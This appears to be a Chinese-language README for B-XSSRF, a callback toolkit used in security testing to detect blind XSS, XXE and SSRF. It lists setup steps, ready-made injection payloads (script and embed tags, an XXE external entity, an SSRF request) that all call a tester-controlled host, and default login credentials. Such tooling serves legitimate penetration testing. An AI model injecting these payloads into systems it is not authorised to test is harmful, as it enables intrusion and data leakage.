B-XSSRF

用于检测和跟踪盲 XSS、XXE 和 SSRF 的工具包

设置

• 将文件上传到你的服务器。
• 创建一个数据库，并将 database.sql 文件导入其中。
• 修改 db.php 文件中的 数据库凭据。
• 完成。

用法

盲 XSS

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

盲 XXE

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

默认凭据

USER : [email protected]
PASS : 123456